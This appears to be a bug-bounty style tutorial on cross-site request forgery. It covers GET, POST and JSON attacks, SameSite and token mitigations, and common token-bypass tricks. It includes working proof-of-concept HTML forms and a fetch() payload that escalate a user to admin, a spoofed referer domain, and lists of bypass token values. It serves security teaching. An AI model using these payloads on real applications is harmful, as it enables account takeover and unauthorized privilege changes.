What is CSRF Attack? Common CSRF Bypass

CSRF Attack or Cross-Site Request Forgery is a web application vulnerability that allows an attacker to mislead or induce the user. To perform some action on the application that they don’t want to perform. In simple words, the attacker force the victim to send the HTTP request to the target application without knowing. What that means with HTTP request is send an HTTP request to perform some action like changing the password.

Impact of CSRF Attack

Impact of CSRF Attack is high which can lead to account takeover of the victim or perform some action. For example, a banking application that allows the user to transfer money to a different account with the help of CSRF Attack, Attacker can induce a user to transfer fund to the attacker account. The impact depends on the application,

Understanding CSRF Attack

For example, an application where two roles are assigned. Admin and user role, Admin user can change the role of the user to admin. Let’s take an example there is one user with username john which has user role assigned. He asks the admin to promote him with admin rights.

https://www.example.com/account/roles?username=john&role=admin

Now admin accepts and tries to promote john with admin rights from account setting this is the request from the admin to the server. You can see the request is simple he sends an HTTP request to the application. Where he tells the application to change the roles to the admin for username=john.

This was a legitimate request sent by the admin. but if admin rejects to promote john with admin rights then john will induce the admin to send the above request to promote himself with admin rights.

Now he will exploit the CSRF Attack and force the admin user to send this https://www.example.com/account/roles?username=john&role=admin request without him knowing.


<html>
<body>
<a href="https://www.example.com/account/roles?username=john&role=admin">Click here</a>
</body>
</html>

Now he will save the above HTML code in a file in a server with index.html, He needs to send the URL/IP of the server. As soon as admin open this file he will something like this.

CSRF Attack
CSRF Attack

When he clicks his browser will send the HTTP request to the vulnerable application to change the role of john with admin rights.

CSRF Attack Requirement

Before we look at the requirement, Let’s understand how a browser uses a cookie. You know what is cookie whenever you logged in into an application. It issues a cookie and every time you send the request browser will automatically add that cookie in your HTTP. The application will know that you are already logged in.

Read: Bug Bounty Methodology – How to a Target

So when admin click on that button (click here) browser will send the HTTP request to change user rights, but it will automatically add the cookie so the application can process the request as he thinks the user is already logged in.

The victim should be logged in with the application. If the admin is not logged in he can’t change anyone roles. That’s the only requirement to exploit the CSRF Attack if there is no CSRF protection.

CSRF Attack with POST Method

There is no restriction of HTTP Method for CSRF attack, As you know most of the time you will see action like our example will use the POST method. But we can still perform the CSRF. Let’s convert our example in the POST Method.

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: 3539gi43df5

username=john&role=admin

This is the basic POST request for the same which we looked earlier. Give attention to the Content-Type header.

<html>
<body>
<form action="https://www.example.com/account/roles" method="POST">
<input type="hidden" name="username" value="john"/>
<input type="hidden" name="role" value="admin"/>
<input type="submit" value="click here"/>
</form>
</body>
</html>

This is same as GET we have changed method to POST and add the post Parameters as a hidden HTML form. Reason for hidden is same so victim can’t see it but in the background, it will be used as POST data.

CSRF Attack with JSON

The reason why I said to pay attention to the content-type header. Most of the application use JSON based request data and the reason is API. JSON based request can use POST, PUT or DELETE but it’s doesn’t matter what’s the method.

POST /account/roles
useragent: firefox
Content-Type: application/json
cookie: 3539gi43df5

{"username":"john","role":"admin"}

Now, this is JSON based request but we can’t perform CSRF Attack here reason is we can’t add JSON inside HTML form as we did in POST CSRF. The only way to bypass this is through the content-type header, If we can send the same request but with a modified content-type header.

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: 3539gi43df5

{"username":"john","role":"admin"}

If the application accepts the JSON data with content-type text then you can perform CSRF here.

<html>
<body>
<script>
fetch('https://www.example.com/account/roles', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"username":"john","role":"admin"}'});
</script>
<form action="#">
<input type="button" value="click" />
</form>
</body>
</html>

That’s the only possible way to exploit CSRF with JSON data. if the application doesn’t accept Content-Type other than JSON then you can’t do CSRF here. You can still exploit CSRF Attack if application accepts JSON as content-type with the help of CORS vulnerability.

Common Location For CSRF Attack

The location where you can perform CSRF depends on the application. Some Common are as follow:

  • Delete Account
  • Change Password
  • Email change
  • Change user rights

Other than this it will depend on the application. if the application asks for the current password for any action like change email or password then you can’t perform CSRF. you need to bypass the current password option.

Read: Pentesting SSH

CSRF Mitigation

There is two possible CSRF mitigation.

  • SameSite Cookie
  • CSRF Token

Same site cookie is not that effective and can’t be trusted for CSRF protection. CSRF token is the best mitigation if properly implemented.

Same Site Cookie

Same site cookie is not an actual cookie but it’s an attribute. for those who don’t know attributes. when application issue a cookie in the response header it add some attributes with a cookie. So that browser can understand how to process with the cookie.

HTTP/2.0 200 OK 
Content-type: text/html 
Set-Cookie: session=c124539fjdjgdgd; path=/; httponly; SameSite=Strict

<Html>
.... 

Path and httponly are called attributes same for SameSite. SameSite attributes can have two value Strict or Lax.

Strict

As you know the requirement for CSRF, Victim should be logged in and browser behaviour it will automatically add cookie if he is logged in. if the cookie has SameSite attribute with a value Strict then the browser will not add cookie automatically if the request if not made from the original website. Or you can say browser will not add the cookie automatically if the request is made from third party website.

As you know we the HTML file in our server so the request will originate from our server. And if the browser doesn’t add a cookie then for application our victim is not logged in. It’s not a good option for many application because it will bock all third party websites.

Lax

Lax is similar it won’t allow the browser to add the cookie automatically unless two conditions are fulfilled.

  • The request should be in the GET Method.
  • The request should come from the navigation or you can say the user has clicked to perform this request. If the request came from Script then condition won’t fulfil.

There is no possible way to bypass the strict same site. but you can bypass the Lax If the request is in GET Method. If it’s POST you can convert it into GET, Some application will accept the POST request in GET.

CSRF Token

This is the perfect mitigation for a CSRF attack. CSRF token is a random string sent by the server to the user. After that for every request user submit must have a CSRF token with the request. if the token is not there or invalid token the server will reject the request.

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: 3539gi43df5

username=john&role=admin&token=46396w9dge9rt464egjeyyd

As CSRF token is random so in order to perform CSRF token we need the victim CSRF token. So we need to theft victim CSRF then we can create our HTML as

<html>
<body>
<form action="https://www.example.com/account/roles" method="POST">
<input type="hidden" name="username" value="john"/>
<input type="hidden" name="role" value="admin"/>
<input type="hidden" name="token" value="46396w9dge9rt464egjeyyd"/>
<input type="submit" value="click here"/>
</form>
</body>
</html>

If we manage to theft victim token then only we can perform the CSRF attack. Which is not a possible way that’s the reason CSRF Token is the perfect solution, as attacker can’t get the victim CSRF Token.

CSRF Token Bypass

CSRF token the best mitigation but if not properly implemented then bypassed easily. I will show you some possible and common CSRF token bypass methods. Some worked for me and some are from other sources like HackerOne reports and bug bounty articles. So I highly recommend you to read them.

POST To GET

If the request is in the POST method like we seen in CSRF token above which has CSRF token

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: 3539gi43df5

username=john&role=admin&token=46396w9dge9rt464egjeyyd

then we can convert the request into the GET method and remove the CSRF token with two possible ways.

GET /account/roles?username=john&role=admin&token=
GET /account/roles?username=john&role=admin

Convert the POST request into GET and remove the token parameter value or completely remove the token parameter.

Token Only Validate if Present

If the application validates the token then remove the token parameter completely sometimes application check if the token is valid only if there is a token, if there is no token then the application will accept the request as a valid request.

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: 3539gi43df5

username=john&role=admin
POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: 3539gi43df5

username=john&role=admin&token=
The token is not tied up with user session

Some times application just want a valid token in that case attacker can obtain a valid token from his personal account and use it for CSRF. the application doesn’t check if the token is the same which was given to the particular user or it’s from some else account.

Session Fixation with Double Submit Cookie

Many times application doesn’t verify that token is valid they just use two same value CSRF token. One in the header as a cookie and another one as a parameter.

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: session=3539gi43df5; token=gdodbobfh45y04yrhfthrty

username=john&role=admin&token=gdodbobfh45y04yrhfthrty

Observe that request use same CSRF token as Cookie and as Parameter. what application want is both are some doesn’t matter valid. So in our CSRF POC Html, we can set a token for the POST parameter but not for the cookie. We can set cookie token, but we can set if Session Fixation is there.

If the application has session fixation vulnerability we can set cookie token what we want for example we are able to add cookie token to hacked then we can create our POC with a token parameter with hacked as the server just want both values should be same. After the session fixation, we can create our POC.

<html>
<body>
<form action="https://www.example.com/account/roles" method="POST">
<input type="hidden" name="username" value="john"/>
<input type="hidden" name="role" value="admin"/>
<input type="hidden" name="token" value="hacked"/>
<input type="submit" value="click here"/>
</form>
</body>
</html>

and the request will look like

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: session=3539gi43df5; token=hacked

username=john&role=admin&token=hacked
Referer Header

Many times application just check the referer header, If the referer header is domain is not matched then it will consider it as invalid request. There two possible ways to bypass this.

  1. Remove the Referer header with the help of <meta name="referrer" content="no-referrer">
<html>
<head>
</head>
<meta name="referrer" content="no-referrer">
<body>
<form action="https://www.example.com/account/roles" method="POST">
<input type="hidden" name="username" value="john"/>
<input type="hidden" name="role" value="admin"/>
<input type="submit" value="click here"/>
</form>
</body>
</html>

2. If the application doesn’t accept the request if no referer header present and also check if the request is from their domain, In that case, you can try to register the same domain. For example, the target application is target.com and it checks referer header start with target.com in that can you can register the domain a domain that starts with the target.com.

So you just need to add a subdomain target.com.evil.com then your referer header will start with target.com.

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: session=3539gi43df5
Referer: target.com.evil.com

username=john&role=admin

Some application just wants their domain name doesn’t matter it start with it or end or it’s in the middle.

Some Common Bypass

Common methods like terminating the CSRF code null byte, true-false etc.

POST /account/roles
useragent: firefox
Content-Type: text/plain
cookie: session=3539gi43df5

username=john&role=admin&token=abfgkdge23053tegdkd

In place of CSRF token add

  • ;
  • 1
  • 0
  • True
  • False
  • %00
  • %001
  • %2500
Analysing Token

Try to find If CSRF token can be decrypted like Base64 encoded token or CSRF token is not random enough. Create 2 3 accounts and analysis the CSRF token from all the account. Find anything looks common, It’s rare to find randomness related issues but still, you should look for it.

Burp-Suite For CSRF

There are some things Where burp suite will help you to find CSRF Vulnerability.

  • Burp Suite allows you to generate CSRF POC automatically. That’s a good thing.
  • CSRF Scanner, Burp suite will scan for CSRF vulnerability. Obviously the manual is better.
  • Repeater, Burp Suite Repeater is good to test for CSRF bypass manually.

Possibilities are endless, It all depends on your thinking or developer. I hope you learned what is CSRF Attack and Some Possible ways to bypass CSRF Token.

You can support us through Patreon

Follow us

Leave a Reply